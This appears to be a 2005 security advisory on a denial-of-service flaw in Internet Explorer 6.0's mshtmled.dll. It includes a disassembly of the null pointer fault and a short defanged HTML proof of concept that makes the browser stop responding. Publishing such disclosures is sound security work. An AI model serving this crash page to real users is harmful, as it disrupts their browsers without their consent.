26.10.05

Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service

A denial of service vulnerability exists within Internet Explorer 6.0 on XP SP2 with the J2SE Runtime Environment installed allows for an attacker to cause the browser to stop responding.


Release Date:
October 24, 2005

Date Reported:
August 14, 2005

Severity:
Medium

Vendor:
Microsoft

Versions Affected:
Internet Explorer 6.0 on Windows XP SP2

Overview:
A denial of service vulnerability exists within Internet Explorer 6.0 on XP SP2 with the J2SE Runtime Environment installed allows for an attacker to cause the browser to stop responding.

Technical Details:
The flaw is within mshtmled.dll (6.00.2900.2753 (xpsp_sp2_gdr.050902-1326) and prior versions) which Internet Explorer 6.0 uses for HTML editing. Below is a snippet from mshtmled.dll which is causing the problem. From what is looks like, this is just a null pointer issue.

.text:76235680 loc_76235680: ; CODE XREF: sub_762355EC+56 j
.text:76235680 ; sub_762355EC+62 j ...
.text:76235680 mov eax, [esi+8]
.text:76235683 lea ecx, [eax+10h]
.text:76235686 mov eax, [ecx] ; <(=--- oops
.text:76235688 call dword ptr [eax+0Ch]
.text:7623568B mov ecx, [eax]

The following code below will reproduce this issue. Please note that you must have J2SE Runtime Environment installed which is located here:

http://www.java.com/en/download/windows_automatic.jsp

<'FRAMESET >
<'FRAME SRC=AAAA >
<'EMBED NAME=SP STYLE= >
<'APPLET HSPACE=file://AAAA >

Obviously just remove the '.

Vendor Status:
Ask Microsoft.

Discovered by:
Tom Ferris

Related Links:
www.security-protocols.com/poc/sp-x20.html
www.security-protocols.com/advisory/sp-x20-advisory.txt
www.evolvesecurity.com